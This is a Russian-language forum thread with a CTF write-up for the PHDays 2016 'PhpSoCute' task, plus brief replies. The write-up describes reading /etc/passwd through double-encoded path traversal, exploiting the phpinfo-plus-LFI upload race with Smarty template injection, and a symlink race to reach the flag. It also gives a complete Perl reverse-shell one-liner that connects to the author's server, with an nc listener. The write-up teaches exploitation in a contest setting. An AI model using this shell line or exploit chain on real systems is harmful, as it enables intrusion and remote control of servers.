Antichat CTF Team Write-up PHDays 2016 PhpSoCute

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by banned, 20 Apr 2016.

  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PhpSoCute

    http://php.hackquest.phdays.com:88/

    Дан какой-то бложек, с виду wordpress.
    Доступны урлы: index.php -> index.html, wp-admin.html

    Dirbuster нашел pi.php который показывает нам phpinfo.

    После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

    http://php.hackquest.phdays.com:88/pi.php/1html
    Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php
    При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

    Пробуем doubleencode (%2569 - i), сработало!
    Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
    PHP:
    <?php
    @header("Location: index.html");
    ?>
    Удача!

    Читаем /etc/passwd
    PHP:
    root:x:0:0:root:/root:/bin/bash
    daemon
    :x:1:1:daemon:/usr/sbin:/bin/sh
    bin
    :x:2:2:bin:/bin:/bin/sh
    sys
    :x:3:3:sys:/dev:/bin/sh
    sync
    :x:4:65534:sync:/bin:/bin/sync
    games
    :x:5:60:games:/usr/games:/bin/sh
    man
    :x:6:12:man:/var/cache/man:/bin/sh
    lp
    :x:7:7:lp:/var/spool/lpd:/bin/sh
    mail
    :x:8:8:mail:/var/mail:/bin/sh
    news
    :x:9:9:news:/var/spool/news:/bin/sh
    uucp
    :x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy
    :x:13:13:proxy:/bin:/bin/sh
    www
    -data:x:33:33:www-data:/var/www:/bin/sh
    backup
    :x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc
    :x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats
    :x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody
    :x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid
    :x:100:101::/var/lib/libuuid:/bin/sh
    flag
    :x:101:65534::/home/flag:/bin/false
    Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.



    О, у нас есть phpinfo и lfi. так это же баг!
    Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
    В это время нам надо проинклудить наш файл через lfi.
    Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
    ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

    Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c
    Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

    Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php
    PHP:
    $phpcode '{var_dump(124)}';
    [​IMG]

    Не обращаем внимания на ошибки - просто копируем строку и вставляем в браузер.
    Смотрим view-souce и видим:
    Отлично! php код выполняется.

    Дальше я загнал перловый backconnect shell в base64
    PHP:
    perl -'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    И проинклудил такую строку:
    Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

    На сервере увидел коннект с уязвимого хоста и ура, шелл есть.

    [​IMG]

    ls -la /

    [​IMG]

    Здесь видно 2 файла от юзера flag: /binary и /flag
    Прочитать нельзя.
    Пробуем выполнить команду /binary flag - получаем ошибку.
    Что же делать? Попробуем сделать symlink race condition

    Запустим еще один терминал с этим сервером.

    [Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

    В одном терминале запускаем /binary /tmp/lala в цикле
    В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
    И получаем флаг.

    За помощь спасибо mailbrush, yarbabin.
     
  2. DarkCaT

    DarkCaT ~Some Member~

    Joined:
    14 Mar 2016
    Messages:
    33
    Likes Received:
    13
    Reputations:
    17
    ПРосто шедеврально)
     
  3. MERRON

    MERRON New Member

    Joined:
    10 May 2008
    Messages:
    9
    Likes Received:
    4
    Reputations:
    0
    Это было внезапно
     
    capuletti, Ruslan1993it and DarkCaT like this.
  4. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,193
    Reputations:
    430
    Понаехали тут...
     
    #4 Ch3ck, 20 Apr 2016
    Last edited: 20 Apr 2016
  5. Zen1T21

    Zen1T21 Member

    Joined:
    13 Jan 2013
    Messages:
    158
    Likes Received:
    37
    Reputations:
    2
    А кто-ниб из форумчан участвовал в прошедшем RuCTF?
     
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,185
    Likes Received:
    618
    Reputations:
    690
    Шикарно!
     
    _________________________
  7. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,379
    Likes Received:
    1,095
    Reputations:
    356
    Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
     
    _________________________
    banned likes this.
  8. 23napster23

    23napster23 New Member

    Joined:
    30 Nov 2015
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
    Это в каком файле вы обнаружили template inj. ?
     
    #8 23napster23, 23 Apr 2016
    Last edited: 23 Apr 2016
  9. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    t3mp473l04d3r.php
    там smarty->fetch вызывался
     
  10. Alexandr II

    Alexandr II -=ImperatoR=-

    Joined:
    28 Dec 2007
    Messages:
    1,067
    Likes Received:
    670
    Reputations:
    87
    в строй возвращаются старички ;)
    по теме +
     
  11. Taktik

    Taktik Member

    Joined:
    27 Jun 2008
    Messages:
    27
    Likes Received:
    10
    Reputations:
    5
    Учавствовал
     
  12. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Присутствовал, но не участвовал.... не был в команде....
     
    _________________________